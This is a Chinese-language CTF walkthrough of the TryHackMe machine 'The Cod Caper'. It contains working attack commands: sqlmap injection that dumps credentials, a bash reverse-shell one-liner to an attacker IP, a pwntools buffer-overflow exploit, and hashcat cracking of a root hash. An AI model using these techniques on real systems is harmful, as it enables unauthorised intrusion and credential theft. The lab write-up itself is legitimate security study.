概述
继续TryHackMe的学习记录,本次靶机为The Cod Caper,内容为从Web漏洞利用到缓冲区溢出提权。
启动靶机后,靶机IP地址为10.10.162.177
端口扫描
nmap端口扫描,发现开了2个端口
nmap -Pn --open 10.10.162.177
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
对80端口进一步探测
nmap -Pn -p80 --open -sC -sV 10.10.162.177
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
对22端口进一步探测
nmap -Pn -p22 --open -sC -sV 10.10.162.177
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA)
| 256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA)
|_ 256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80端口漏洞利用
Web页面访问
直接访问http://10.10.162.177,是Apache默认页面
目录扫描
sudo gobuster dir -u http://10.10.162.177 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x .php,.txt,.html
SQL注入
访问http://10.10.162.177/administrator.php
直接通过sqlmap测试注入,这里注意,无法使用burp记录post的内容,因此不能使用-r
参数,改为使用--forms
参数
sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment
进一步利用sqlmap注入,最终得到web应用的账号密码
sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment -D users -T users -C "username,password" --dump
Database: users
Table: users
[1 entry]
+----------+------------+
| username | password |
+----------+------------+
| pingudad | secretpass |
+----------+------------+
命令执行 - 初始立足点
利用账号密码登录系统,得到一个输入框可以执行命令,这里在命令框执行bash -c "bash -i >& /dev/tcp/10.11.13.149/4444 0>&1"
,在攻击机10.11.13.149得到反弹shell,得到初始立足点,此时的用户为www-data
敏感文件查找
根据靶机提示,需要使用find
命令查找敏感文件
···
$ find / -user www-data -type f 2>/dev/null
···
除了web应用文件外,找到一个/var/hidden/pass
文件可以以www-data
打开得到密码pinguapingu
LinEnum
根据靶机提示,需要使用LinEnum查找可提权的点,利用已有账号pingu:pinguapingu
,通过scp命令向靶机传送文件LinEnum.sh,放在/tmp目录下,运行枚举
chmod +x LinEnum.sh
./LinEnum.sh
发现文件/opt/secret/root
提权
根据靶机提示,已经有此文件的源代码
#include "unistd.h"
#include "stdio.h"
#include "stdlib.h"
void shell(){
setuid(1000);
setgid(1000);
system("cat /var/backups/shadow.bak");
}
void get_input(){
char buffer[32];
scanf("%s",buffer);
}
int main(){
get_input();
}
首先查看/opt/secret/root
的保护措施,可以看到没开启任何保护措施
分析源代码,可以看到main()调用get_input()函数,其有一个buffer缓冲,并用scanf()接收输入,不进行边界检查,能够导致缓冲区溢出,是我们控制程序控制流(通过控制寄存器EIP实现),进行执行shell(),读取cat /var/backups/shadow.bak
gdb
要进行缓冲区溢出,需要首先确认偏移,使其覆盖缓冲区与ebp直到eip,这里使用gdb实现,使用了pwndbg插件
首先生成填充字符
cyclic 100
输入上述字符串得到异常,提示Invalid address 0x6161616c
通过命令 cyclic -l 0x6161616c
确认偏移为44
利用pwntools溢出
p = process('./root')
elf = ELF('./root', checksec=False)
offset = 44
shell_addr = elf.symbols['shell']
payload = 'A' * offset + p32(shell_addr)
p.sendline(payload)
p.interactive()
得到root的hash值$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.
hashcat破解hash
使用hashcat破解
sudo hashcat -m 1800 password.txt rockyou.txt --force
sudo hashcat -m 1800 password.txt ~/tmp/rockyou.txt --show
$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:love2fish
得到密码为love2fish
,得到完全的靶机控制权限